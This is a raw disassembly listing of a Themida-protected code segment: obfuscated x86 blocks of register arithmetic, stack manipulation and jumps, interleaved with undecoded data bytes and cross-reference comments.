		push	edi
		mov	edi, 6362188Fh
		and	ebx, edi
		pop	edi
		jmp	loc_552D49
; ---------------------------------------------------------------------------

loc_543076:				; CODE XREF: Themida_:005491C1j
		add	edx, edi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, edx
		push	ecx
		jmp	loc_5441CD
; ---------------------------------------------------------------------------

loc_54308B:				; CODE XREF: Themida_:00554DCCj
		sub	esi, ebx
		pop	ebx
		sub	ebx, 54D35FD3h
		jmp	loc_54B0AA
; ---------------------------------------------------------------------------

loc_543099:				; CODE XREF: Themida_:00549412j
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_55285D
; ---------------------------------------------------------------------------
		dd 0E95EF301h, 59F5h, 5FFA895Ah, 7437E9h, 0DAF75A00h, 33D0E953h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5430C2:				; CODE XREF: Themida_:00546680j
		add	esp, 4
		jmp	loc_546B90
; ---------------------------------------------------------------------------
		db 68h,	39h, 6Fh
		dd 34890000h, 685E5424h, 115h, 83242C89h, 0C8904ECh, 9AB0E924h
		dd 0C2290000h, 81CA0158h, 0DC504BC2h, 50C2811Ah, 592A1726h
		dd 4B951h, 0CA290000h, 24148759h, 2B00E95Ch, 81580001h
		dd 4ECh, 24148900h, 42474FFh, 7F11E9h
		db 0
; ---------------------------------------------------------------------------

loc_543121:				; CODE XREF: Themida_:00550AE1j
		sub	eax, 60F12B30h
		sub	eax, 50355A74h
		add	eax, 0BDDBED26h
		add	edx, 37375041h
		jmp	loc_54A221
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 1C572100h, 0E92434FFh,	8358h, 83240C8Bh, 0EC8104C4h
		dd 4, 81241C89h, 4ECh, 24248900h, 4240481h, 8B000000h
		dd 0A2E9241Ch, 5D0000BBh, 75E9D5F7h, 660000F2h,	0E9CCB60Fh
		dd 0D5D4h
; ---------------------------------------------------------------------------

loc_543184:				; CODE XREF: Themida_:00550C06j
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_55612A
; ---------------------------------------------------------------------------
		dd 0CD3396BBh, 2862E94Fh, 34FF0001h, 0C4815B24h, 4, 53C9B951h
		dd 0D8E92746h, 510000A0h, 0E92414F7h, 0D215h, 0E9EF8958h
		dd 0FFFFF954h
; ---------------------------------------------------------------------------

loc_5431CC:				; CODE XREF: Themida_:005534CBj
		mov	[esp], ebp
		jmp	loc_54F81D
; ---------------------------------------------------------------------------

loc_5431D4:				; CODE XREF: Themida_:00542266j
		mov	esp, [esp]
		sub	esp, 4
		jmp	loc_5456CB
; ---------------------------------------------------------------------------

loc_5431E2:				; CODE XREF: Themida_:0054BC8Aj
		mov	ebp, esi
		pop	esi
		shl	ebp, 1
		inc	ebp
		jmp	loc_54719A
; ---------------------------------------------------------------------------

loc_5431ED:				; CODE XREF: Themida_:00553F4Cj
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_554B10
; ---------------------------------------------------------------------------

loc_5431FC:				; CODE XREF: Themida_:005487D3j
		push	eax
		mov	eax, 187A0C3Dh
		add	eax, 41703E34h
		shr	eax, 6
		and	eax, 5B5524D7h
		sub	eax, 1451FFDh
		jmp	loc_543CC4
; ---------------------------------------------------------------------------
		db 50h,	0E9h, 82h
		db 0FBh, 2 dup(0)
; ---------------------------------------------------------------------------

loc_54321F:				; CODE XREF: Themida_:0054FA77j
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_54F9CD
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 6
		dd 10940A2h, 242C8BEFh,	4C481h,	0C7810000h, 4, 4EC81h
		dd 3C890000h, 2474FF24h, 0EE95F04h
		db 0AEh, 2 dup(0)
byte_543257	db 66h			; DATA XREF: Themida_:005419A8o
		dd 83240C8Bh, 148904ECh, 148B5424h, 15E95724h
		db 6Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54326B:				; CODE XREF: Themida_:005512B6j
		mov	ebx, 1AD4753Ch
		mov	edx, 5D7B3B04h
		xor	edx, ebx
		mov	ebx, [esp]
		jmp	loc_54A4D4
; ---------------------------------------------------------------------------

loc_54327F:				; CODE XREF: Themida_:00549CECj
		add	esp, 4
		shr	esi, 5
		shl	esi, 8
		jmp	loc_542FF7
; ---------------------------------------------------------------------------

loc_54328D:				; CODE XREF: Themida_:00549FECj
		add	eax, ecx
		xor	ebx, [eax]
		pop	eax
		pop	ecx
		xor	[edi+20h], ebx
		dec	ebx
		jmp	loc_54AEE2
; ---------------------------------------------------------------------------
		dd 3025C280h, 0F8305AD7h, 81241C8Bh, 4ECh, 19D4E900h, 0C3830001h
		db 2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	edi
		jmp	loc_545CEF
; ---------------------------------------------------------------------------
aLVics		db '‹<$V‰æéÄ·',0
		db 0
; ---------------------------------------------------------------------------

loc_5432CF:				; CODE XREF: Themida_:0054AC47j
		push	edx
		mov	dl, 49h
		sub	dl, 4Ch
		inc	dl
		and	dl, 0D4h
		not	dl
		add	dl, 0B4h
		jmp	loc_546453
; ---------------------------------------------------------------------------
		dd 0E9240C33h, 3200h, 3B62C681h, 0E6E90520h
		db 42h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5432F7:				; CODE XREF: Themida_:00555618j
		xchg	eax, [esp]
		jmp	loc_54C62A
; ---------------------------------------------------------------------------

loc_5432FF:				; CODE XREF: Themida_:005502C7j
		mov	dl, 62h
		add	ch, dl
		pop	edx
		sub	al, ch
		pop	ecx
		add	al, 0BFh
		jmp	loc_54407D
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFEAFAh, 0F6DDE957h, 0B680000h, 89000026h, 0E389241Ch
		dd 0B644E9h, 0EA815D00h, 36597093h, 11E9C201h
		db 96h,	2 dup(0)
byte_543337	db 66h			; DATA XREF: Themida_:00541984o
		dd 6824048Bh, 0ECFh, 68243489h,	1F98h, 52242489h, 806CE9h
		db 0
; ---------------------------------------------------------------------------

loc_543351:				; CODE XREF: Themida_:00554E49j
		push	ebp
		mov	ebp, 70F9303Ch
		add	edi, ebp
		jmp	loc_54FB03
; ---------------------------------------------------------------------------

loc_54335E:				; CODE XREF: Themida_:005520B1j
		add	edx, 4D9E106Fh
		add	edx, 0B472F81Ch
		add	eax, edx
		pop	edx
		pop	edx
		add	ebp, eax
		pop	eax
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		shr	eax, 10h
		xor	eax, ecx
		push	eax
		push	ebx
		pop	eax
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5500A1
; ---------------------------------------------------------------------------

loc_54338F:				; CODE XREF: Themida_:0054EFB3j
		push	ecx
		push	edx
		sub	esp, 4
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 100A6229h
		sub	edi, 689C47AEh
		push	ecx
		mov	ecx, 3CD53E88h
		or	edi, ecx
		pop	ecx
		shr	edi, 7
		push	ebx
		mov	ebx, 1FD84823h
		and	edi, ebx
		pop	ebx
		push	eax
		mov	eax, 0AA51E100h
		sub	edi, eax
		pop	eax
		mov	ecx, edi
		jmp	loc_5470EE
; ---------------------------------------------------------------------------
		dd 5E5AD589h, 685DE801h, 4FCCh,	0BE243489h, 2B496EBBh
		dd 9147C681h, 0F001D4B6h, 5324348Bh, 0C381E389h, 4, 4C381h
		dd 1C870000h, 4335C24h,	3C6DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54340A:				; CODE XREF: Themida_:00555E19j
		mov	cl, 0CAh
		sub	dh, cl
		pop	cx
		sub	al, 0B2h
		sub	al, dh
		add	al, 0B2h
		pop	edx
		add	al, 1Bh
		add	al, 5Bh
		add	al, bl
		sub	al, 5Bh
		sub	al, 1Bh
		jmp	loc_54F517
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 4, 4C781h, 3C330000h, 243C3124h, 5C243C33h, 148BD689h
		dd 368DE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_543446:				; CODE XREF: Themida_:00554670j
		xor	dword ptr [esp], 2D512231h
		jmp	loc_54FDD5
; ---------------------------------------------------------------------------
word_543452	dw 77FFh		; DATA XREF: Themida_:005419F8o
		dd 59669D1Ch, 2414D366h, 0E6BDE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_543462:				; CODE XREF: Themida_:00549375j
		pop	edx
		dec	edx
		sub	edx, 0FFFFFFFFh
		and	edx, 63521C25h
		jmp	loc_54D369
; ---------------------------------------------------------------------------
		dw 0C130h
		dd 4DEB8058h, 2805C380h, 5EB80CBh, 594DC380h, 5059C380h
		dd 0E328CBB4h, 6C1AE9h,	31665E00h, 1665DEEh, 24348BF0h
		dd 23E0E950h, 81500000h, 4ECh, 24248900h, 4240481h, 0FF000000h
		dd 83582434h, 0BB6804C4h, 8900001Eh, 0B850242Ch, 4, 2D58C589h
		dd 41254542h, 4205E801h, 5D412545h, 0BA08E9h
		db 0
; ---------------------------------------------------------------------------

loc_5434DD:				; CODE XREF: Themida_:00546F90j
		add	esp, 4
		add	esi, ecx
		jmp	loc_54A6EF
; ---------------------------------------------------------------------------
		dw 0C701h
aXsx		db 'Xé•Á',0
		align 2
		dw 1C87h
		dd 0F862E924h, 0EC810000h, 4, 54240489h, 8B9FE958h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54350A:				; CODE XREF: Themida_:0055072Cj
		push	esi
		mov	esi, 4
		add	edi, esi
		pop	esi
		jmp	loc_548878
; ---------------------------------------------------------------------------
		dd 0F7241C87h, 241C87D3h, 81242C8Bh, 4C4h, 0F3ED8100h
		dd 814F6547h, 0C8DDFAF5h, 4E38E93Fh, 0D0010000h, 0F405E9h
		db 0
; ---------------------------------------------------------------------------

loc_543541:				; CODE XREF: Themida_:0054751Cj
		mov	edi, 0C0B67DFh
		push	445Bh
		jmp	loc_5474C7
; ---------------------------------------------------------------------------

loc_543550:				; CODE XREF: Themida_:00555898j
		sub	eax, 7D7D42D9h
		jmp	loc_54F372
; ---------------------------------------------------------------------------

loc_54355A:				; CODE XREF: Themida_:00552139j
		not	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_54A5C6
; ---------------------------------------------------------------------------

loc_543565:				; CODE XREF: Themida_:00543C6Bj
		mov	[esp], ecx
		push	6A17h
		mov	[esp], edi
		mov	edi, 22325EF0h
		shr	edi, 8
		shr	edi, 3
		push	ebp
		mov	ebp, 36BE50F6h
		xor	edi, ebp
		pop	ebp
		xor	edi, 5B6B6862h
		mov	ecx, edi
		pop	edi
		jmp	loc_54F7BF
; ---------------------------------------------------------------------------

loc_543592:				; CODE XREF: Themida_:0054880Fj
		mov	edi, 1D5F0DD9h
		dec	edi
		neg	edi
		jmp	loc_54FB14
; ---------------------------------------------------------------------------
byte_54359F	db 0FFh			; DATA XREF: Themida_:00541880o
		dd 0E579E932h, 0EC83FFFFh, 240C8904h, 3C1D07B9h, 77C9810Fh
		dd 81290B6Eh, 0AE4924E1h, 0E0C18128h, 1D7D1B6h,	48759C8h
		dd 24248B24h, 1058EE9h,	34335900h, 24343124h, 5C243433h
		dd 24048F54h, 4240483h,	81242C8Bh, 4C4h, 4EC8300h, 9FD9E9h
		dd 72F18100h, 816C12AFh, 4ECh, 24048900h, 0C589C889h, 2434FF58h
		dd 0CE8BE9h, 80CFFE00h,	0F800E1C7h, 66C8005Bh, 28DAB252h
		dd 148B66D0h, 2C48124h,	0FF000000h, 83592434h, 0C0FE04C4h
		dd 0E9502F04h, 10243h
; ---------------------------------------------------------------------------

loc_54363C:				; CODE XREF: Themida_:0054D89Dj
		push	ebx
		push	ecx
		mov	ecx, 8567A69h
		add	dword ptr [esp+4], 0DBE5A87h
		sub	[esp+4], ecx
		sub	dword ptr [esp+4], 0DBE5A87h
		pop	ecx
		jmp	loc_551FA9
; ---------------------------------------------------------------------------
aS_5		db ']黨',0
		db 0
byte_543663	db 0F6h			; DATA XREF: Themida_:005418D8o
		dd 0E99C241Ch, 0FFFFE4B3h
; ---------------------------------------------------------------------------

loc_54366C:				; CODE XREF: Themida_:00552056j
		push	ecx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ecx
		jmp	loc_552C9B
; ---------------------------------------------------------------------------
		db 31h,	0C1h, 58h
		dd 190B942Dh, 0E9C8012Ah, 4426h
; ---------------------------------------------------------------------------

loc_54368C:				; CODE XREF: Themida_:005455F9j
		push	esi
		mov	esi, esp
		jmp	loc_553FCB
; ---------------------------------------------------------------------------
		dd 0BB53E801h, 6C9C3660h, 30E9D829h, 81000057h,	0C13CF8E9h
		dd 6E9C157h, 6AA8C181h,	0C8292FDFh, 0F0015B59h,	5A5BBA52h
		dd 0E2815199h, 66AD6BE4h, 0B951h, 0D1290000h, 0C159CA87h
		dd 814203E2h, 758477EAh, 8BD001E5h, 89522414h, 1369E9E2h
		dd 248B0001h, 0E2895224h, 4C281h, 0EA830000h, 24148704h
		dd 0E924248Bh, 85C8h
dword_543700	dd 592434FFh, 675F68h, 242C8900h, 242C8B54h, 5304C483h
					; DATA XREF: Themida_:005419B4o
		dd 60F1B951h, 0CB8948DDh, 0E9240C8Bh, 823Bh, 4C481h, 0F6810000h
		dd 64A84A79h, 0E957DEF7h, 321Dh
; ---------------------------------------------------------------------------

loc_543738:				; CODE XREF: Themida_:0054516Fj
		xor	ebx, eax
		pop	eax
		jmp	loc_544177
; ---------------------------------------------------------------------------

loc_543740:				; CODE XREF: Themida_:005493B6j
		add	edx, 18D34B89h
		add	edx, eax
		jmp	loc_5480B3
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5549DF
; ---------------------------------------------------------------------------

loc_54375B:				; CODE XREF: Themida_:00545975j
		xor	eax, ecx
		push	21D3h
		mov	[esp], eax
		xchg	edi, [esp]
		xor	edi, ebp
		xor	ebp, edi
		jmp	loc_54CDA0
; ---------------------------------------------------------------------------
		align 2
		dw 4D0h
		dd 2F0AE99Fh, 8D680001h, 8900004Ch, 0E952242Ch,	14B8h
		dd 689F0D58h, 0D0F73616h, 3BB95140h, 0E949D172h, 2587h
		dd 7E4AF581h, 0EA89FE6Fh, 8BD0015Dh, 0C4832414h, 2B95104h
		dd 1000000h, 0CD04E9C8h, 67BF0000h, 150601Eh, 0E8E95FFDh
		dd 810000B9h, 2C177CC1h, 0F7D1F726h, 81D1F7D1h,	0D4A273C1h
		dd 59CF0187h, 61E3E9h, 4055800h, 5000000h, 4, 8B240487h
		dd 14872424h, 2AC1E924h, 74FF0001h, 8F5E0424h, 0E95C2404h
		dd 11AF8h
; ---------------------------------------------------------------------------

loc_543808:				; CODE XREF: Themida_:00548E8Dj
		add	esp, 4
		mov	edx, ebp
		jmp	loc_546DFE
; ---------------------------------------------------------------------------
		db 81h,	0E2h, 40h
		dd 57207F4Eh, 0DD7FE9h,	5DE98900h, 2E9C141h, 8103E1C1h
		dd 2426E6F1h, 0F9E9812Ah, 5166C948h, 8D49E9h
		db 0
; ---------------------------------------------------------------------------

loc_54383D:				; CODE XREF: Themida_:00542A83j
		xor	dword ptr [esp], 3FDE5933h
		pop	ebp
		jmp	loc_550CA9
; ---------------------------------------------------------------------------
		dw 7BBEh
		dd 0BF535273h, 256754EAh, 315EF731h, 287DE9F8h,	55560000h
		dd 11055E9h, 24048300h,	68515A04h, 40A7h, 5E37E9h, 0CFE95000h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54387B:				; CODE XREF: Themida_:00543DCAj
		xchg	ebx, [esp]
		pop	ecx
		xor	edi, ecx
		xor	ecx, edi
		xor	edi, ecx
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_54C66A
; ---------------------------------------------------------------------------
byte_543893	db 66h			; DATA XREF: Themida_:005419D4o
		dd 8324048Bh, 48904ECh,	4EC8324h, 83242489h, 8B042404h
		dd 0C4812404h, 4, 0E904EC83h, 8F78h
; ---------------------------------------------------------------------------

loc_5438B8:				; CODE XREF: Themida_:00547A3Aj
		add	edx, 115B13C7h
		push	ebp
		mov	ebp, 2EDA35FEh
		not	ebp
		not	ebp
		shl	ebp, 6
		inc	ebp
		shl	ebp, 7
		xor	ebp, 5005CBCFh
		add	edx, ebp
		jmp	loc_544F1E
; ---------------------------------------------------------------------------
		dd 4C48158h, 0E9000000h, 8684h
; ---------------------------------------------------------------------------

loc_5438E8:				; CODE XREF: Themida_:00550CE9j
		push	ax
		mov	al, 0CEh
		add	bl, al
		pop	ax
		sub	bl, 0DBh
		mov	cx, [esp]
		add	esp, 2
		jmp	loc_551315
; ---------------------------------------------------------------------------
		dw 5457h
		dd 83243C8Bh, 815204C4h, 4ECh, 0D43CE900h, 0F2800000h
		dd 5AD000C9h, 0C1800934h, 66C10096h, 8096B753h,	0F9285DE9h
		dd 665DC180h, 34FF585Bh, 2601E924h
		db 1, 0
; ---------------------------------------------------------------------------

loc_54393A:				; CODE XREF: Themida_:0055224Cj
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		shr	eax, 18h
		jmp	loc_544616
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0B9510000h, 556E3E54h, 1B77E181h, 0F1811645h
		dd 199B0D19h, 0AAE9CB09h
		db 0E5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54396B:				; CODE XREF: Themida_:00546C5Bj
		add	esp, 4
		pop	edx
		push	edx
		jmp	loc_5528C4
; ---------------------------------------------------------------------------

loc_543975:				; CODE XREF: Themida_:00550EE4j
		pop	ebx
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		push	esi
		jmp	loc_552CEA
; ---------------------------------------------------------------------------

loc_543987:				; CODE XREF: Themida_:00555221j
		sub	ebp, 6EDE7873h
		add	ebx, ebp
		jmp	loc_5479A4
; ---------------------------------------------------------------------------
aISk		db '‰Áékº',0
		db 0
; ---------------------------------------------------------------------------

loc_54399B:				; CODE XREF: Themida_:0054BE31j
		sub	ecx, 34823E91h
		dec	ecx
		shl	ecx, 3
		xor	ecx, 593B3EEDh
		not	ecx
		sub	ecx, 2F882F37h
		sub	esp, 4
		mov	[esp], edi
		push	esi
		push	74431419h
		pop	esi
		sub	esi, 5CF80AEEh
		jmp	loc_545AD5
; ---------------------------------------------------------------------------
		dw 0A168h
		dd 8900001Fh, 0EC81240Ch, 4, 0B3241C89h, 5BD9883Fh, 2BB3E9h
		dd 0C4815900h, 4, 73CA68h, 240C8900h, 0E9C4B450h, 0FFFFE7ACh
		dd 0B0685866h, 89000051h, 38B5240Ch, 53BCF580h,	0EF80EDB7h
		dd 0CFE78016h, 8007E7C0h, 0D7F690C7h, 204CF780h, 2DB4E9FDh
		dd 14890000h, 85685324h, 5B5EB525h, 0D14BDBF7h,	0C7C381EBh
		dd 0E9AF5A92h, 3B69h
; ---------------------------------------------------------------------------

loc_543A44:				; CODE XREF: Themida_:005476BAj
		push	ebx
		jmp	loc_550383
; ---------------------------------------------------------------------------

loc_543A4A:				; CODE XREF: Themida_:0054F0C7j
		mov	ecx, 745B6559h
		jmp	loc_553535
; ---------------------------------------------------------------------------

loc_543A54:				; CODE XREF: Themida_:00550635j
		mov	ebx, 40986F1Ch
		xor	ebx, edx
		jmp	loc_54DCF1
; ---------------------------------------------------------------------------

loc_543A60:				; CODE XREF: Themida_:0054F3E3j
		pop	ecx
		not	eax
		sub	eax, 526164D7h
		add	eax, 7F5B4D34h
		add	eax, 6929112Dh
		add	eax, 88622F88h
		jmp	loc_556B55
; ---------------------------------------------------------------------------
		dd 110593BAh, 5B14E979h, 54550000h, 83242C8Bh, 5C6804C4h
		dd 89000000h, 94BE2434h, 53217635h, 0CA51A5BBh,	7EBC12Fh
		dd 8F97C381h, 0C6815D6Ah, 6AA67C2h, 105C6E9h
		db 0
byte_543AB5	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00541848o
		dd 4EC8324h, 11ACCE9h
		db 0
; ---------------------------------------------------------------------------

loc_543AC1:				; CODE XREF: Themida_:00549E32j
		or	edx, eax
		pop	eax
		shr	edx, 8
		push	eax
		mov	eax, 69597CEAh
		add	edx, eax
		pop	eax
		xor	edx, 2508344Fh
		mov	esi, edx
		pop	edx
		push	esi
		not	dword ptr [esp]
		pop	esi
		inc	esi
		jmp	loc_54273B
; ---------------------------------------------------------------------------
		dd 0BB241C89h, 10440F2Dh, 5A5BD801h, 74E72D5Dh,	0D8015D19h
		dd 1974E705h, 26B2D5Dh,	8953618Dh, 4C381E3h, 81000000h
		dd 4EBh, 1BB96800h, 1C890000h, 2474FF24h, 6AFCE904h, 0C2C0000h
		dd 0C04E828h, 100EE959h
		db 1, 0
; ---------------------------------------------------------------------------

loc_543B2E:				; CODE XREF: Themida_:0055284Aj
		mov	bl, dl
		pop	edx
		pop	eax
		xor	al, bl
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_5518CF
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0F2h
		dd 0D5F2F91h, 5AD1295Eh, 0CA88BB53h, 4DE9CF1Ch,	87000107h
		dd 895C240Ch, 3EE9241Ch, 8100007Dh, 4C3C1AC1h, 0BF576Eh
		dd 29000000h, 5FF989CFh, 0FE9CE9h, 24248B00h, 3760E9h
		db 0
; ---------------------------------------------------------------------------

loc_543B7D:				; CODE XREF: Themida_:0054BF25j
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		mov	[esp], ecx
		push	24h
		push	dword ptr [esp]
		jmp	loc_5420DA
; ---------------------------------------------------------------------------

loc_543B9B:				; CODE XREF: Themida_:0054F566j
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		jmp	loc_555705
; ---------------------------------------------------------------------------
		dw 0F828h
		dd 5B2434FFh, 51EAE9h
		db 0
; ---------------------------------------------------------------------------

loc_543BB1:				; CODE XREF: Themida_:00551D3Aj
		add	edx, 21C32666h
		or	edx, 4C0D7345h
		add	edx, 2FF2BEAFh
		add	ecx, edx
		pop	edx
		push	23F5h
		mov	[esp], edi
		mov	edi, 6E305767h
		and	edi, 23A96A26h
		jmp	loc_545B6F
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 31241433h, 14332414h, 82E95C24h, 0BF00005Fh, 688202F2h
		dd 1C95F781h, 0FD2938E2h, 0E006E95Fh, 3C310000h, 243C3324h
		dd 0F24248Bh, 9C51C8AFh, 0FFDF06E9h, 4BFFFh, 0BB530000h
		dd 3104089Bh, 15BDD29h,	9BC581FDh, 5F310408h, 3304C583h
		dd 2C31242Ch, 242C3324h, 0E924248Bh, 3197h, 242C895Ch
		dd 121E9E9h
		db 0
; ---------------------------------------------------------------------------

loc_543C4D:				; CODE XREF: Themida_:0055656Ej
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	eax
		mov	eax, 5803210Eh
		sub	esp, 4
		jmp	loc_543565
; ---------------------------------------------------------------------------
		dd 4BA52h, 0D7010000h, 16E9525Ah, 8900011Fh, 0E6892434h
		dd 0F6468h, 24148900h, 7BDB850h, 0AE254D42h, 4047E557h
		dd 0D07E0C1h, 5DD42B65h, 2DFFE883h, 90739C11h, 0C1585A50h
		dd 504A03EAh, 0C482E9h
		db 0
; ---------------------------------------------------------------------------

loc_543CB5:				; CODE XREF: Themida_:00547A51j
		mov	[esp], ebx
		push	0FFFFFFFFh
		pop	ebx
		push	ebx
		jmp	loc_552D26
; ---------------------------------------------------------------------------

loc_543CC4:				; CODE XREF: Themida_:00543214j
		add	ebx, 2AB57DD3h
		sub	ebx, eax
		sub	ebx, 2AB57DD3h
		pop	eax
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_555C35
; ---------------------------------------------------------------------------
		dd 504C483h, 13EB7BC6h,	12A1AE9h, 240C8900h, 0FB6C4968h
		dd 240C8B07h, 4C481h, 0B5E90000h
		db 8, 1, 0
; ---------------------------------------------------------------------------

loc_543CFF:				; CODE XREF: Themida_:0055564Aj
		mov	[esp], esi
		mov	esi, 1D3D2589h
		jmp	loc_55518D
; ---------------------------------------------------------------------------
a1qszj		db '1ïéz†',0
		dw 6800h
		dd 6344h, 0B1240C89h, 8BCF28E9h, 0FFE9240Ch
		db 0A0h, 2 dup(0)
; ---------------------------------------------------------------------------

loc_543D27:				; CODE XREF: Themida_:0055660Aj
		xchg	edx, [esp]
		mov	esp, [esp]
		or	eax, eax
		jz	loc_5558CF
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		push	2DA7h
		mov	[esp], edx
		mov	edx, esp
		push	4313h
		mov	[esp], ecx
		mov	ecx, 4
		jmp	loc_5495B6
; ---------------------------------------------------------------------------

loc_543D58:				; CODE XREF: Themida_:005536CFj
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		dd 0C681DEF7h, 6B31BCCh, 0E907EEC1h, 0C8F3h, 4C58159h
		dd 33000000h, 2C31242Ch, 242C3324h, 0FF24248Bh,	51582434h
		dd 480AE9h, 0E9D60100h,	0E806h,	0BA241489h, 4, 8BE9h
		db 0
; ---------------------------------------------------------------------------

loc_543DB1:				; CODE XREF: Themida_:0054F17Ej
		push	ecx
		add	dword ptr [esp], 20D57203h
		jmp	loc_5484FB
; ---------------------------------------------------------------------------

loc_543DBE:				; CODE XREF: Themida_:00547B9Cj
		inc	eax
		jmp	loc_547068
; ---------------------------------------------------------------------------

loc_543DC4:				; CODE XREF: Themida_:0054F240j
		push	ecx
		xchg	ebx, [esp]
		not	ebx
		jmp	loc_54387B
; ---------------------------------------------------------------------------

loc_543DCF:				; CODE XREF: Themida_:00542A96j
		or	edi, 264DDh
		sub	edi, 2702BF7h
		jmp	loc_547011
; ---------------------------------------------------------------------------
		dd 4C7815Bh, 87000000h,	0FFE9243Ch, 810000A7h, 4C1h, 4E98100h
		dd 33000000h, 0C31240Ch, 240C3324h, 32A5E9h
		db 0
; ---------------------------------------------------------------------------

loc_543E09:				; CODE XREF: Themida_:00550058j
		push	5B9160EAh
		pop	eax
		not	eax
		add	eax, 5B9160EFh
		mov	ebp, eax
		pop	eax
		jmp	loc_5515F7
; ---------------------------------------------------------------------------
word_543E1E	dw 0FF64h		; DATA XREF: Themida_:00541868o
a2sq		db '2éq/',0
		align 2

loc_543E26:				; CODE XREF: Themida_:0054C330j
		mov	ecx, esp
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		jmp	loc_547AC5
; ---------------------------------------------------------------------------
		dd 4246C81h, 48B930EAh,	9C47E951h, 34330000h, 734CE924h
		dd 0DF310000h, 3B7BE9h,	16E2B900h, 8CE93B75h
		db 8Eh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_543E63:				; CODE XREF: Themida_:0054626Ej
		add	esp, 4
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_556369
; ---------------------------------------------------------------------------
		db 0C1h, 0EAh, 5
		dd 0EAC1DAF7h, 0BEA8106h, 103EE67h, 0D6E9D0h
		db 2 dup(0)
word_543E86	dw 8B66h		; DATA XREF: Themida_:005419ECo
		dd 0A3682404h, 8900001Ch, 0E189240Ch, 4C181h, 68520000h
		dd 34CA020Ch, 0FFF214E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_543EA5:				; CODE XREF: Themida_:0054DA2Aj
		add	esp, 4
		push	ebx
		mov	ebx, 7B78059Ch
		sub	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	edx, eax
		add	edx, 7B78059Ch
		push	esi
		mov	esi, 55EC39D4h
		shr	esi, 7
		sub	esi, 91EA890Dh
		add	edx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_541B1F
; ---------------------------------------------------------------------------

loc_543EDD:				; CODE XREF: Themida_:005446DFj
		add	esp, 4
		jmp	loc_553F49
; ---------------------------------------------------------------------------
aSeh		db ']é…H',0
		align 2
		dw 3C89h
		dd 2474FF24h, 4DE95F04h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_543EFB:				; CODE XREF: Themida_:00555D00j
		jmp	loc_541B1F
; ---------------------------------------------------------------------------
		dd 7E4FA2BEh, 0E8F68147h, 0E9543854h, 0FAFAh
; ---------------------------------------------------------------------------

loc_543F10:				; CODE XREF: Themida_:005551B9j
		push	edx
		push	esi
		jmp	loc_551869
; ---------------------------------------------------------------------------

loc_543F17:				; CODE XREF: Themida_:0054A9B4j
		pop	dword ptr [esp]
		pop	esp
		or	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		shr	ebx, 6
		jmp	loc_541FA6
; ---------------------------------------------------------------------------
		dw 0ECE9h
		db 0DBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_543F33:				; CODE XREF: Themida_:005443E4j
		mov	ch, ah
		mov	eax, [esp]
		add	esp, 4
		shr	ch, 2
		add	ch, 55h
		push	ebx
		mov	bl, 4Eh
		dec	bl
		or	bl, 0DFh
		push	dx
		jmp	loc_54AAF3
; ---------------------------------------------------------------------------
		db 0B2h
		dd 0E9D000DDh, 76F8h, 4055Ah, 13680000h, 89000024h, 0DBE92404h
		dd 48000098h, 0CFDF232Dh, 58C10153h, 4C181h, 0C6E90000h
		dd 6800000Ah, 0
		dd 3435E9h
		db 0
; ---------------------------------------------------------------------------

loc_543F8D:				; CODE XREF: Themida_:0054645Bj
		add	al, 55h
		add	al, bh
		jmp	loc_541FFA
; ---------------------------------------------------------------------------
		dw 285Ah
